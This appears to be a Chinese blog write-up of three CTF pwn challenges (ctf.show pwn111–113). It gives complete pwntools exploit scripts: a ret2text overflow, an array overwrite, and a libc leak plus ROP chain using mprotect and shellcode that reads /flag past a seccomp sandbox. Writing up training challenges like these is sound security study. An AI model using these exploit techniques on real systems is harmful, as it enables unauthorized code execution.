eye – bye – by -bypass

pwn111

Arch:       amd64-64-little
RELRO:     No RELRO
Stack:     No canary found
NX:         NX enabled
PIE:       No PIE (0x400000)
Stripped:   No

没啥东西就普通ret2text

from pwn import *
io = remote("pwn.challenge.ctf.show",28250)
payload = b'a' *(0x80 +8)
payload += p64(0x0000000000400697)
io.sendline(payload)
io.interactive()

pwn112

Arch:       i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:         NX enabled
PIE:       PIE enabled
Stripped:   No

进ctfshow函数,是数组,初始化了var[13],var[14]

但是,输入处存在可能使用的数组越界漏洞

int ctfshow()
{
 var[13] = 0;
 var[14] = 0;
 init();
 puts("What's your name?");
 scanf("%s", var);
 if ( *(_QWORD *)&var[13] )
{
   if ( *(_QWORD *)&var[13] != 0x11LL )
     return printf(
              "something wrong! val is %d",
              var[0],
              var[1],
              var[2],
              var[3],
              var[4],
              var[5],
              var[6],
              var[7],
              var[8],
              var[9],
              var[10],
              var[11],
              var[12],
              var[13],
              var[14]);
   else
     return register_tm();
}
 else
{
   printf("%s, Welcome!\n", var);
   return puts("Try doing something~");
}
}

那就很简单了,直接把整个数组全填成0x11 也就是17就好了,连传14个进去,以满足var[13] = 0x11

(同理,你前面传13个其他莫名其妙的数字最后一个传17也能用)

from pwn import *
context.log_level='debug'
#io = process('./pwn112')
io = remote('pwn.challenge.ctf.show',28220)
payload = p32(17) * 14
io.recv()
io.sendline(payload)
io.interactive()

pwn113

Arch:       amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:         NX enabled
PIE:       No PIE (0x400000)
Stripped:   No

IDA打开看到有seccomp,看看沙箱限制

 line  CODE  JT   JF      K
=================================

0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

这里没啥好说的,就ban了execve,orw了多半

main函数感觉好难懂,先不急着分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
 __int64 v3; // rax
 _BYTE v5[1032]; // [rsp+0h] [rbp-420h] BYREF
 __int64 v6; // [rsp+408h] [rbp-18h]
 char v7; // [rsp+417h] [rbp-9h]
 __int64 v8; // [rsp+418h] [rbp-8h]

 is_detail = 0;
 go();
 logo(argc, argv);
 fwrite(">> ", 1uLL, 3uLL, _bss_start);
 fflush(_bss_start);
 v8 = 0LL;
 while ( !feof(stdin) )
{
   v7 = fgetc(stdin);
   if ( v7 == 10 )
     break;
   v3 = v8++;
   v6 = v3;
   v5[v3] = v7;
}
 v5[v8] = 0;
 if ( (unsigned int)init(v5) )
{
   qsort(files, size_of_path, 0x200uLL, (__compar_fn_t)cmp);
   search_file_info();
}
 else
{
   fflush(_bss_start);
   set_secommp();
}
 return 0;
}

回想了一下保护就一个全开的RELRO,那就不可写got、plt嘛

看了看没有什么好利用的点

但是看到一个很奇怪的函数

int __fastcall stat(char *filename, struct stat *stat_buf)
{
 return __xstat(1, filename, stat_buf);
}

(不知道啥东西,貌似是个结构体)

main函数中有⼀个判断,当我们输⼊的⽂件路径有问题,它就会返回0,然后进⼊沙箱中,那么我们就可以任意输⼊,使其出错进⼊沙箱进行沙箱ROP 先泄漏地址,再通过mprotect函数修改权限然后orw进⾏读flag,flag名称我们可以在远程连接的时候输⼊路径(输入/)即可看到flag⽂件格式

exp:

from pwn import *

context(log_level='debug',arch='amd64', os='linux')

# io = process("./pwn113")
io = remote("pwn.challenge.ctf.show",28279)
elf = ELF("./pwn113")
libc = ELF("./libc6_2.27-0ubuntu3_amd64.so")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
pop_rdi = 0x0000000000401ba3
data = 0x603000
# pld = b'a'*(0x418) + p8(0x28)
# pld += p64(pop_rdi)
# pld += p64(puts_got)
# pld += p64(puts_plt)
# pld += p64(main)

pld = b"A"*0x418+p8(0x28)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

io.recvuntil(b">> ")
io.sendline(pld)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.sym["puts"]
mprotect_addr = libc_base + libc.sym["mprotect"]

pop_rsi = libc_base + 0x0000000000023e6a
pop_rdx = libc_base + 0x0000000000001b96

gets_addr = libc_base+libc.sym["gets"]

io.recvuntil(b">> ")

payload = b"A"*0x418+p8(0x28)+p64(pop_rdi)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)

io.sendline(payload)

sh = shellcraft.cat("/flag")
shellcode = asm(sh)
io.sendline(shellcode)

io.interactive()

仍然有些问题

为什么填充的垃圾数据组成是:b”A”*0x418+p8(0x28) + ·······

为什么是加p8(0x28)?

为什么不扔0x420个A进去?

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇